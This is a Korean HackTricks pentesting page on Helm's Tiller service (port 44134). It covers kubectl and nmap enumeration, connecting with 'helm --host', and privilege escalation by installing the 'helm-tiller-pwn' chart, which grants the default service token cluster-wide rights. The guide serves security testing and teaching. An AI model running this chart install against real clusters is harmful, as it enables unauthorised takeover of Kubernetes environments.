7.2 KiB
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm을 팔로우하세요.
- Hacking 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.
기본 정보
Helm은 Kubernetes의 패키지 매니저입니다. YAML 파일을 패키지화하여 공개 및 비공개 저장소에서 배포할 수 있습니다. 이러한 패키지를 Helm Charts라고 합니다. Tiller는 기본적으로 포트 44134에서 실행되는 서비스입니다.
기본 포트: 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
열거
만약 다른 네임스페이스의 팟과/또는 서비스를 열거할 수 있다면, 열거하고 그 중에서 이름에 "tiller"이 포함된 것을 찾으세요:
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
예시:
Tiller and Helm
Tiller
Tiller은 Kubernetes 클러스터 내에서 Helm 차트를 설치하고 관리하는 데 사용되는 서버 구성 요소입니다. Tiller는 클라이언트 요청을 받아들이고 클러스터 내에서 차트를 릴리스하고 업데이트하는 역할을 합니다.
Tiller는 기본적으로 권한 부여되지 않은 상태로 설치되며, 클러스터 내에서 실행되는 모든 작업에 대한 권한을 가지게 됩니다. 이는 잠재적으로 보안 위험을 초래할 수 있습니다.
Helm
Helm은 Kubernetes 애플리케이션을 패키징하고 배포하기 위한 패키지 관리자입니다. Helm은 차트라는 패키지 형식을 사용하여 애플리케이션을 설치하고 업그레이드하며, 이를 통해 애플리케이션의 배포를 자동화할 수 있습니다.
Helm은 Tiller와 함께 사용되며, Tiller를 통해 클러스터 내에서 차트를 관리합니다. 따라서 Tiller의 보안 취약점은 Helm을 통해 악용될 수 있습니다.
Tiller and Helm Pentesting
Tiller와 Helm은 Kubernetes 환경에서 중요한 역할을 수행하므로, 이들의 보안 취약점을 식별하고 테스트하는 것은 중요합니다. Tiller와 Helm을 펜테스팅하기 위해 다음과 같은 기법을 사용할 수 있습니다:
- Tiller 서버의 취약한 버전 식별
- Tiller 서버의 권한 상승 공격
- Tiller 서버의 인증 및 권한 부여 구성 검사
- Tiller 서버의 릴리스 정보 노출 검사
- Tiller 서버의 릴리스 업데이트 및 삭제 공격
- Helm 클라이언트의 구성 파일 분석 및 악용
이러한 기법을 사용하여 Tiller와 Helm의 보안 취약점을 식별하고, 적절한 보안 조치를 취할 수 있습니다.
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
이 서비스를 찾기 위해 44134 포트를 확인해 볼 수도 있습니다:
sudo nmap -sS -p 44134 <IP>
발견한 후에는 클라이언트 helm 애플리케이션을 다운로드하여 통신할 수 있습니다. homebrew
와 같은 도구를 사용하거나 공식 릴리스 페이지를 참조할 수 있습니다. 자세한 내용이나 다른 옵션은 설치 가이드를 참조하십시오.
그런 다음, 서비스를 열거할 수 있습니다:
helm --host tiller-deploy.kube-system:44134 version
권한 상승
기본적으로 Helm2는 kube-system 네임스페이스에 높은 권한으로 설치되어 있으므로, 서비스를 찾고 액세스할 수 있다면 이를 통해 권한을 상승할 수 있습니다.
해당 패키지를 설치하기만 하면 됩니다: https://github.com/Ruil1n/helm-tiller-pwn. 이 패키지는 기본 서비스 토큰이 클러스터 전체에 대한 액세스 권한을 갖게 해줍니다.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
http://rui0.cn/archives/1573에서는 공격에 대한 설명을 확인할 수 있습니다. 기본적으로, helm-tiller-pwn/pwnchart/templates/ 폴더 안의 clusterrole.yaml 및 clusterrolebinding.yaml 파일을 읽으면 모든 권한이 기본 토큰에게 부여되는 것을 확인할 수 있습니다.
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 상품을 구매하세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm을 팔로우하세요.
- Hacking 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.